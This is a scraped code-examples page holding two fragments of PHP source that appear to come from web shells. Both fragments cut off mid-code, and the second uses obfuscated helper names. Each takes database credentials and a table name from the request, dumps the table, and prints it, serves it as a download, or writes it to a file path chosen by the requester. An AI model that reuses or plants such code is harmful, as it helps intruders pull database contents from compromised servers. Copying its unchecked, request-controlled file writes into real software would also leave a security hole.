$fp = @fopen($_POST['dif_name'], "w");
 }
 $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 if (!$sql->connect()) {
     echo "[-] ERROR! Can't connect to SQL server";
 } else {
     if (!$sql->select_db()) {
         echo "[-] ERROR! Can't select database";
     } else {
         if (!$sql->dump($_POST['mysql_tbl'])) {
             echo "[-] ERROR! Can't create dump";
         } else {
             if (empty($_POST['dif'])) {
                 foreach ($sql->dump as $v) {
                     echo $v . "\r\n";
                 }
             } else {
                 if ($fp) {
                     foreach ($sql->dump as $v) {
                         @fputs($fp, $v . "\r\n");
                     }
                 } else {
                     echo "[-] ERROR! Can't write in dump file";
                 }
             }
Ejemplo n.º 2
0
     $fp = @fopen($q_sql_filename, "a");
 }
 $q_sql_filename = @str_replace("_db_", "_" . $q_sql_db . "_", $q_sql_filename);
 $sql = new my_sql();
 $sql->db = $q_sql_engine;
 $sql->host = $q_sql_server;
 $sql->port = $q_sql_port;
 $sql->user = $q_sql_user;
 $sql->pass = $q_sql_pass;
 $sql->base = $q_sql_db;
 $q_sql_dumped = "";
 if (!$sql->connect()) {
     echo z2b(z9s("419"));
 } elseif (!$sql->select_db()) {
     echo z2b(z9s("447"));
 } elseif (!$sql->dump($q_sql_table)) {
     echo z2b(z9s("458"));
 } else {
     if (@isset($q_sql_download) && $q_sql_download == "1") {
         @ob_clean();
         @header("Content-type: application/octet-stream");
         @header("Content-disposition: attachment; filename=\"" . @basename($q_sql_filename) . "\";");
         foreach ($sql->dump as $v) {
             echo $v . "\r\n";
         }
         exit;
     }
     if (!@isset($q_sql_save2file) || $q_sql_save2file != "1") {
         echo z9m('2') . z6g() . z6w() . z5w('', '1');
         foreach ($sql->dump as $v) {
             echo @htmlspecialchars($v) . "\r\n";